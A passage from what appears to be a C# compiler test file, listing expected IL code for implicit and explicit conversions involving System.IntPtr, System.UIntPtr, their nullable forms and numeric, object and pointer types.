IL_000b: newobj ""System.IntPtr?..ctor(System.IntPtr)""
IL_0010: ret
}");
conversions(sourceType: "bool?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("char", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "sbyte?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("sbyte", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "byte?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("byte", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "short?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("short", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "ushort?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("ushort", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "int?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("int", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "uint?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("uint", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.u8"));
conversions(sourceType: "long?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("long", "System.IntPtr System.IntPtr.op_Explicit(long)"));
conversions(sourceType: "ulong?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("ulong", "System.IntPtr System.IntPtr.op_Explicit(long)"), expectedCheckedIL: explicitAndConvFromNullableT("ulong", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8.un"));
conversions(sourceType: "float?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("float", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.i8"), expectedCheckedIL: explicitAndConvFromNullableT("float", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8"));
conversions(sourceType: "double?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromNullableT("double", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.i8"), expectedCheckedIL: explicitAndConvFromNullableT("double", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8"));
conversions(sourceType: "decimal?", destType: "System.IntPtr", expectedImplicitIL: null,
@"{
// Code size 18 (0x12)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""decimal decimal?.Value.get""
IL_0007: call ""long decimal.op_Explicit(decimal)""
IL_000c: call ""System.IntPtr System.IntPtr.op_Explicit(long)""
IL_0011: ret
}");
conversions(sourceType: "bool?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("char", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "sbyte?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("sbyte", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "byte?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("byte", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "short?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("short", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "ushort?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("ushort", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "int?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("int", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "uint?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("uint", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.u8"));
conversions(sourceType: "long?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("long", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)"));
conversions(sourceType: "ulong?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("ulong", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)"), expectedCheckedIL: explicitAndConvFromToNullableT("ulong", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8.un"));
conversions(sourceType: "float?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("float", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.i8"), expectedCheckedIL: explicitAndConvFromToNullableT("float", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8"));
conversions(sourceType: "double?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvFromToNullableT("double", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.i8"), expectedCheckedIL: explicitAndConvFromToNullableT("double", "System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8"));
conversions(sourceType: "decimal?", destType: "System.IntPtr?", expectedImplicitIL: null,
@"{
// Code size 39 (0x27)
.maxstack 1
.locals init (decimal? V_0,
System.IntPtr? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool decimal?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""System.IntPtr?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""decimal decimal?.GetValueOrDefault()""
IL_001c: call ""System.IntPtr System.IntPtr.op_Explicit(long)""
IL_0021: newobj ""System.IntPtr?..ctor(System.IntPtr)""
IL_0026: ret
}");
conversions(sourceType: "System.UIntPtr", destType: "object",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""System.UIntPtr""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""System.UIntPtr""
IL_0006: ret
}");
conversions(sourceType: "System.UIntPtr", destType: "string", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr", destType: "void*", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("void* System.UIntPtr.op_Explicit(System.UIntPtr)"));
conversions(sourceType: "System.UIntPtr", destType: "bool", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr", destType: "char", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u2.un"));
conversions(sourceType: "System.UIntPtr", destType: "sbyte", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.i1"), expectedCheckedIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i1.un"));
conversions(sourceType: "System.UIntPtr", destType: "byte", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u1"), expectedCheckedIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u1.un"));
conversions(sourceType: "System.UIntPtr", destType: "short", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.i2"), expectedCheckedIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i2.un"));
conversions(sourceType: "System.UIntPtr", destType: "ushort", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u2.un"));
conversions(sourceType: "System.UIntPtr", destType: "int", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)"), expectedCheckedIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i4.un"));
conversions(sourceType: "System.UIntPtr", destType: "uint", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("uint System.UIntPtr.op_Explicit(System.UIntPtr)"));
conversions(sourceType: "System.UIntPtr", destType: "long", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("ulong System.UIntPtr.op_Explicit(System.UIntPtr)"), expectedCheckedIL: convAndExplicit("ulong System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i8.un"));
conversions(sourceType: "System.UIntPtr", destType: "ulong", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("ulong System.UIntPtr.op_Explicit(System.UIntPtr)"));
conversions(sourceType: "System.UIntPtr", destType: "float", expectedImplicitIL: null,
@"{
// Code size 9 (0x9)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_0006: conv.r.un
IL_0007: conv.r4
IL_0008: ret
}");
conversions(sourceType: "System.UIntPtr", destType: "double", expectedImplicitIL: null,
@"{
// Code size 9 (0x9)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_0006: conv.r.un
IL_0007: conv.r8
IL_0008: ret
}");
conversions(sourceType: "System.UIntPtr", destType: "decimal", expectedImplicitIL: null,
@"{
// Code size 12 (0xc)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_0006: call ""decimal decimal.op_Implicit(ulong)""
IL_000b: ret
}");
conversions(sourceType: "System.UIntPtr", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr", destType: "System.UIntPtr", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "System.UIntPtr", destType: "bool?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr", destType: "char?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("char", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitToNullableT("char", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u2.un"));
conversions(sourceType: "System.UIntPtr", destType: "sbyte?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("sbyte", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.i1"), expectedCheckedIL: convAndExplicitToNullableT("sbyte", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i1.un"));
conversions(sourceType: "System.UIntPtr", destType: "byte?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("byte", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u1"), expectedCheckedIL: convAndExplicitToNullableT("byte", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u1.un"));
conversions(sourceType: "System.UIntPtr", destType: "short?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("short", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.i2"), expectedCheckedIL: convAndExplicitToNullableT("short", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i2.un"));
conversions(sourceType: "System.UIntPtr", destType: "ushort?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("ushort", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitToNullableT("ushort", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u2.un"));
conversions(sourceType: "System.UIntPtr", destType: "int?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("int", "uint System.UIntPtr.op_Explicit(System.UIntPtr)"), expectedCheckedIL: convAndExplicitToNullableT("int", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i4.un"));
conversions(sourceType: "System.UIntPtr", destType: "uint?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("uint", "uint System.UIntPtr.op_Explicit(System.UIntPtr)"));
conversions(sourceType: "System.UIntPtr", destType: "long?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("long", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)"), expectedCheckedIL: convAndExplicitToNullableT("long", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i8.un"));
conversions(sourceType: "System.UIntPtr", destType: "ulong?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("ulong", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)"));
conversions(sourceType: "System.UIntPtr", destType: "float?", expectedImplicitIL: null,
@"{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_0006: conv.r.un
IL_0007: conv.r4
IL_0008: newobj ""float?..ctor(float)""
IL_000d: ret
}");
conversions(sourceType: "System.UIntPtr", destType: "double?", expectedImplicitIL: null,
@"{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_0006: conv.r.un
IL_0007: conv.r8
IL_0008: newobj ""double?..ctor(double)""
IL_000d: ret
}");
conversions(sourceType: "System.UIntPtr", destType: "decimal?", expectedImplicitIL: null,
@"{
// Code size 17 (0x11)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_0006: call ""decimal decimal.op_Implicit(ulong)""
IL_000b: newobj ""decimal?..ctor(decimal)""
IL_0010: ret
}");
conversions(sourceType: "System.UIntPtr", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr", destType: "System.UIntPtr?",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""System.UIntPtr?..ctor(System.UIntPtr)""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""System.UIntPtr?..ctor(System.UIntPtr)""
IL_0006: ret
}");
conversions(sourceType: "System.UIntPtr?", destType: "bool", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr?", destType: "char", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u2.un"));
conversions(sourceType: "System.UIntPtr?", destType: "sbyte", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.i1"), expectedCheckedIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i1.un"));
conversions(sourceType: "System.UIntPtr?", destType: "byte", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u1"), expectedCheckedIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u1.un"));
conversions(sourceType: "System.UIntPtr?", destType: "short", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.i2"), expectedCheckedIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i2.un"));
conversions(sourceType: "System.UIntPtr?", destType: "ushort", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u2.un"));
conversions(sourceType: "System.UIntPtr?", destType: "int", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)"), expectedCheckedIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i4.un"));
conversions(sourceType: "System.UIntPtr?", destType: "uint", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.UIntPtr", "uint System.UIntPtr.op_Explicit(System.UIntPtr)"));
conversions(sourceType: "System.UIntPtr?", destType: "long", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.UIntPtr", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)"), expectedCheckedIL: convAndExplicitFromNullableT("System.UIntPtr", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i8.un"));
conversions(sourceType: "System.UIntPtr?", destType: "ulong", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.UIntPtr", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)"));
conversions(sourceType: "System.UIntPtr?", destType: "float", expectedImplicitIL: null,
@"{
// Code size 15 (0xf)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""System.UIntPtr System.UIntPtr?.Value.get""
IL_0007: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_000c: conv.r.un
IL_000d: conv.r4
IL_000e: ret
}");
conversions(sourceType: "System.UIntPtr?", destType: "double", expectedImplicitIL: null,
@"{
// Code size 15 (0xf)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""System.UIntPtr System.UIntPtr?.Value.get""
IL_0007: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_000c: conv.r.un
IL_000d: conv.r8
IL_000e: ret
}");
conversions(sourceType: "System.UIntPtr?", destType: "decimal", expectedImplicitIL: null,
@"{
// Code size 18 (0x12)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""System.UIntPtr System.UIntPtr?.Value.get""
IL_0007: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_000c: call ""decimal decimal.op_Implicit(ulong)""
IL_0011: ret
}");
conversions(sourceType: "System.UIntPtr?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL:
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""System.UIntPtr System.UIntPtr?.Value.get""
IL_0007: ret
}");
conversions(sourceType: "System.UIntPtr?", destType: "bool?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr?", destType: "char?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "char", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitFromToNullableT("System.UIntPtr", "char", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u2.un"));
conversions(sourceType: "System.UIntPtr?", destType: "sbyte?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "sbyte", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.i1"), expectedCheckedIL: convAndExplicitFromToNullableT("System.UIntPtr", "sbyte", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i1.un"));
conversions(sourceType: "System.UIntPtr?", destType: "byte?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "byte", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u1"), expectedCheckedIL: convAndExplicitFromToNullableT("System.UIntPtr", "byte", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u1.un"));
conversions(sourceType: "System.UIntPtr?", destType: "short?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "short", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.i2"), expectedCheckedIL: convAndExplicitFromToNullableT("System.UIntPtr", "short", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i2.un"));
conversions(sourceType: "System.UIntPtr?", destType: "ushort?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "ushort", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitFromToNullableT("System.UIntPtr", "ushort", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.u2.un"));
conversions(sourceType: "System.UIntPtr?", destType: "int?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "int", "uint System.UIntPtr.op_Explicit(System.UIntPtr)"), expectedCheckedIL: convAndExplicitFromToNullableT("System.UIntPtr", "int", "uint System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i4.un"));
conversions(sourceType: "System.UIntPtr?", destType: "uint?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "uint", "uint System.UIntPtr.op_Explicit(System.UIntPtr)"));
conversions(sourceType: "System.UIntPtr?", destType: "long?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "long", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)"), expectedCheckedIL: convAndExplicitFromToNullableT("System.UIntPtr", "long", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.ovf.i8.un"));
conversions(sourceType: "System.UIntPtr?", destType: "ulong?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "ulong", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)"));
conversions(sourceType: "System.UIntPtr?", destType: "float?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "float", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.r4"));
conversions(sourceType: "System.UIntPtr?", destType: "double?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.UIntPtr", "double", "ulong System.UIntPtr.op_Explicit(System.UIntPtr)", "conv.r8"));
conversions(sourceType: "System.UIntPtr?", destType: "decimal?", expectedImplicitIL: null,
@"{
// Code size 39 (0x27)
.maxstack 1
.locals init (System.UIntPtr? V_0,
decimal? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool System.UIntPtr?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""decimal?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""System.UIntPtr System.UIntPtr?.GetValueOrDefault()""
IL_001c: call ""ulong System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_0021: newobj ""decimal?..ctor(decimal)""
IL_0026: ret
}");
conversions(sourceType: "System.UIntPtr?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr?", destType: "System.UIntPtr?", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "object", destType: "System.UIntPtr", expectedImplicitIL: null,
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: unbox.any ""System.UIntPtr""
IL_0006: ret
}");
conversions(sourceType: "string", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "void*", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(void*)"));
conversions(sourceType: "bool", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "sbyte", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "byte", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "short", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "ushort", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "int", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "uint", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "long", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)"), expectedCheckedIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "ulong", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)"));
conversions(sourceType: "float", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.u8"), expectedCheckedIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "double", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.u8"), expectedCheckedIL: explicitAndConv("System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "decimal", destType: "System.UIntPtr", expectedImplicitIL: null,
@"{
// Code size 12 (0xc)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong decimal.op_Explicit(decimal)""
IL_0006: call ""System.UIntPtr System.UIntPtr.op_Explicit(ulong)""
IL_000b: ret
}");
conversions(sourceType: "bool", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "sbyte", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "byte", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
conversions(sourceType: "short", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.i8"), expectedCheckedIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(ulong)", "conv.ovf.u8"));
conversions(sourceType: "ushort", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.UIntPtr", "System.UIntPtr System.UIntPtr.op_Explicit(uint)"));
